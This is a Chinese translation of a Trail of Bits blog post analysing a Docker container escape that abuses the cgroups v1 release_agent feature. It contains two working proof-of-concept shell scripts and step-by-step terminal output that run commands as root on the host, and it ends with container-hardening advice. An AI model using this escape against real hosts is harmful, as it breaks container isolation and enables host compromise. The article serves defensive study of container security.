深入解析Docker容器逃逸技术:cgroups漏洞利用与防御

本文详细分析了通过滥用Linux cgroups v1的notify_on_release功能实现Docker容器逃逸的技术原理,包含PoC代码解析、漏洞利用条件及安全防护建议,帮助开发者强化容器安全配置。

理解Docker容器逃逸 - Trail of Bits博客

Trail of Bits近期完成了对Kubernetes的安全评估,包括其与Docker的交互。Felix Wilhelm发布的概念验证(PoC)“容器逃逸”推文引发了我们的兴趣,因为我们曾进行类似研究,并好奇此PoC对Kubernetes的影响。

Felix的推文展示了一个在带有--privileged标志的Docker容器内,在主机上启动进程的漏洞利用。该PoC通过滥用Linux cgroup v1的“释放时通知”功能实现。

以下是PoC版本,用于在主机上启动ps命令:

1
2
3
4
5
6
7
8
# 通过以下命令创建新容器进行利用:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

--privileged标志带来重大安全隐患,此漏洞利用依赖于启用该标志的Docker容器。使用此标志时,容器拥有对所有设备的完全访问权限,且不受seccomp、AppArmor和Linux capabilities的限制。

不要使用--privileged运行容器。Docker提供精细设置以独立控制容器权限。根据我们的经验,这些关键安全设置常被忽略。理解这些选项的工作原理对保护容器安全至关重要。

后续章节将逐步解析此“容器逃逸”的工作原理、所依赖的不安全设置及开发者的正确做法。

使用此技术的条件

实际上,--privileged提供的权限远超过通过此方法逃逸Docker容器所需。真实“唯一”要求是:

  • 容器内必须以root身份运行
  • 容器必须使用SYS_ADMIN Linux capability运行
  • 容器必须没有AppArmor配置文件,或以其他方式允许mount系统调用
  • cgroup v1虚拟文件系统必须在容器内以读写方式挂载

SYS_ADMIN capability允许容器执行mount系统调用(参见man 7 capabilities)。Docker默认以受限capabilities集合启动容器,且出于安全风险考虑不启用SYS_ADMIN capability。

此外,Docker默认使用docker-default AppArmor策略启动容器,即使容器以SYS_ADMIN运行,该策略也会阻止mount系统调用的使用。

如果使用以下标志运行容器,则易受此技术攻击:--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

利用cgroups实现漏洞利用

Linux cgroups是Docker隔离容器的机制之一。该PoC滥用cgroups v1中notify_on_release功能,以完全特权root用户身份运行漏洞利用。

当cgroup中最后一个任务离开(通过退出或附加到其他cgroup)时,将执行release_agent文件中提供的命令。此功能旨在帮助清理废弃cgroups。此命令在调用时以完全特权root在主机上运行。

1.4 notify_on_release的作用? 如果cgroup中启用notify_on_release标志(1),则当cgroup中最后一个任务离开(退出或附加到其他cgroup)且该cgroup的最后一个子cgroup被移除时,内核运行该层次结构根目录中“release_agent”文件内容指定的命令,提供废弃cgroup的路径名(相对于cgroup文件系统挂载点)。这支持自动移除废弃cgroups。系统启动时根cgroup的notify_on_release默认值为禁用(0)。创建时其他cgroups的默认值是其父节点notify_on_release设置的当前值。cgroup层次结构的release_agent路径默认值为空。 – Linux Kernel关于cgroups v1的文档

优化概念验证

有一种更简单的编写此漏洞利用的方法,使其无需--privileged标志即可工作。在此场景中,我们将无法访问由--privileged提供的读写cgroup挂载。适应此场景很容易:我们只需自行以读写方式挂载cgroup。这为漏洞利用添加了一行额外代码,但需要更少权限。

以下漏洞利用将在主机上执行ps aux命令,并将其输出保存到容器中的/output文件。它使用与原始PoC相同的release_agent功能在主机上执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 在主机上
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# 在容器内
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

分解概念验证

既然我们理解了使用此技术的条件并优化了概念验证漏洞利用,让我们逐行解析其工作原理。

要触发此漏洞利用,我们需要一个可以创建release_agent文件并通过杀死cgroup中所有进程来触发release_agent调用的cgroup。最简单的方法是挂载cgroup控制器并创建子cgroup。

为此,我们创建/tmp/cgrp目录,挂载RDMA cgroup控制器并创建子cgroup(在此示例中命名为“x”)。虽然未测试所有cgroup控制器,但此技术应适用于大多数cgroup控制器。

如果您在操作时遇到“mount: /tmp/cgrp: special device cgroup does not exist”,是因为您的设置没有RDMA cgroup控制器。将rdma更改为memory以修复。我们使用RDMA是因为原始PoC仅设计用于它。

注意,cgroup控制器是全局资源,可以以不同权限多次挂载,且在一个挂载中的更改将应用于另一个。

我们可以看到“x”子cgroup的创建及其目录列表:

1
2
3
4
5
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

接下来,我们通过在notify_on_release文件中写入1来启用“x”cgroup释放时的cgroup通知。我们还通过将主机上的/cmd脚本路径写入release_agent文件来设置RDMA cgroup释放代理以执行/cmd脚本——我们稍后将在容器中创建此脚本。为此,我们将从/etc/mtab文件中获取容器在主机上的路径。

我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界修改它们:容器中的路径及其在主机上的路径。

这些操作如下所示:

1
2
3
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

注意/cmd脚本的路径,我们将在主机上创建它:

1
2
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

现在,我们创建/cmd脚本,使其执行ps aux命令并将输出保存到容器中的/output,通过指定主机上输出文件的完整路径。最后,我们还打印/cmd脚本以查看其内容:

1
2
3
4
5
6
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最后,我们可以通过在“x”子cgroup内生成一个立即结束的进程来执行攻击。通过创建/bin/sh进程并将其PID写入“x”子cgroup目录中的cgroup.procs文件,主机上的脚本将在/bin/sh退出后执行。然后在主机上执行的ps aux输出保存到容器内的/output文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

安全使用容器

Docker默认限制和约束容器。放松这些限制可能产生安全问题,即使没有--privileged标志的全部能力。重要的是承认每个额外权限的影响,并将整体权限限制到最小必要。

为帮助保持容器安全:

  • 不要使用--privileged标志或在容器内挂载Docker套接字。Docker套接字允许生成容器,因此是通过运行另一个带有--privileged标志的容器来完全控制主机的简单方法。
  • 不要在容器内以root身份运行。使用其他用户或用户命名空间。除非使用用户命名空间重新映射,否则容器中的root与主机上的root相同。它仅受到Linux命名空间、capabilities和cgroups的轻度限制。
  • 丢弃所有capabilities(--cap-drop=all)并仅启用必需的(--cap-add=...)。许多工作负载不需要任何capabilities,添加它们会增加潜在攻击的范围。
  • 使用“no-new-privileges”安全选项以防止进程获得更多权限,例如通过suid二进制文件。
  • 限制容器可用的资源。资源限制可以保护机器免受拒绝服务攻击。
  • 调整seccomp、AppArmor(或SELinux)配置文件,将容器的可用操作和系统调用限制到最小必需。
  • 使用官方Docker镜像或基于它们构建自己的镜像。不要继承或使用后门镜像。
  • 定期重建镜像以应用安全补丁。这不言而喻。

如果您希望重新审视组织的关键基础设施,Trail of Bits很乐意提供帮助。联系我们并打招呼!

如果您喜欢此文章,请分享: Twitter LinkedIn GitHub Mastodon Hacker News

页面内容 使用此技术的条件 利用cgroups实现漏洞利用 优化概念验证 分解概念验证 安全使用容器 近期文章 非传统创新者奖学金 劫持您的PajaMAS中的多代理系统 我们构建了MCP始终需要的安全层 利用废弃硬件中的零日漏洞 Inside EthCC[8]:成为智能合约审计员 © 2025 Trail of Bits. 使用Hugo和Mainroad主题生成。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计